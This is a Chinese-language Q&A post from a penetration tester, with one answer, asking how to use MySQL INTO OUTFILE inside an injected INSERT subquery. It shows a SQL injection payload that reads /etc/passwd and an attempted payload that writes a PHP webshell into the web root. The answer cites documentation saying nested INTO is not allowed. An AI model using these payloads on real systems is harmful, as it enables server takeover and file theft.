下面是一个有趣的场景。在最近的一次pentest中,我在insert查询中遇到了一个sql注入。后端代码如下所示:
$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'";
我可以在文件中插入任意值,甚至可以使用select子查询将“/etc/passwd”的内容插入sometable中的col1,然后通过应用程序中其他地方完全不同的功能读取它。
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))";
挑战是使用into outfile将文件写入磁盘(我有file privs,并且mysql用户验证可以写入文档根目录)。mysql似乎不支持以下内容:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')";
目的是在我有写权限的文件夹中编写一个phpwebshell。需要执行的最后一个查询是:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')";
mysql希望通过子查询返回数据,这就是为什么上面的语句似乎不起作用,因为into outfile将数据写入磁盘,而不是返回mysql。
你认为有解决办法吗?
1条答案
按热度按时间r6hnlfcb1#
从http://dev.mysql.com/doc/refman/5.7/en/select-into.html
嵌套select中不应使用into子句,因为这样的select必须将其结果返回到外部上下文。
所以我想答案是否定的。
另请参阅mysql insert不能与select一起插入outfile?